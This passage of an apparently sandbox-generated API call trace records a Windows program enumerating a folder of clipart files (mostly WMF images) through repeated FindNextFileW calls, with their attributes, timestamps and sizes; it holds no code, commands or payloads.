ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8774, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152688.WMF", cAlternateFileName="")) returned 1 [0254.130] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152690.WMF", cAlternateFileName="")) returned 1 [0254.131] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0254.131] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0254.131] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0254.131] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0254.132] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0254.132] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0254.132] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0254.133] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0255.391] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152876.WMF", cAlternateFileName="")) returned 1 [0255.391] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0255.391] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0255.391] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0255.392] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0255.392] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0255.392] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0255.392] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0255.392] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0255.393] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0255.393] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0255.393] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0255.393] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0255.393] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153095.WMF", cAlternateFileName="")) returned 1 [0255.394] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153265.WMF", cAlternateFileName="")) returned 1 [0255.394] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e80, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153273.WMF", cAlternateFileName="")) returned 1 [0255.395] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153299.WMF", cAlternateFileName="")) returned 1 [0255.395] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0255.395] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0255.395] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0255.395] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0255.395] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0255.396] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0255.396] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x31d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153514.WMF", cAlternateFileName="")) returned 1 [0255.397] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153516.WMF", cAlternateFileName="")) returned 1 [0255.397] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x30f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153518.WMF", cAlternateFileName="")) returned 1 [0255.397] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x560, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0156537.WMF", cAlternateFileName="")) returned 1 [0255.397] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb66e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157167.WMF", cAlternateFileName="")) returned 1 [0255.398] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x54d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157177.WMF", cAlternateFileName="")) returned 1 [0255.398] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x45f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157191.WMF", cAlternateFileName="")) returned 1 [0255.398] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157831.WMF", cAlternateFileName="")) returned 1 [0255.398] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158071.WMF", cAlternateFileName="")) returned 1 [0255.398] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0255.399] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0255.607] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0255.607] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x51aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0168644.WMF", cAlternateFileName="")) returned 1 [0255.607] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3888, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0171685.WMF", cAlternateFileName="")) returned 1 [0255.608] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae8, dwReserved0=0x0, 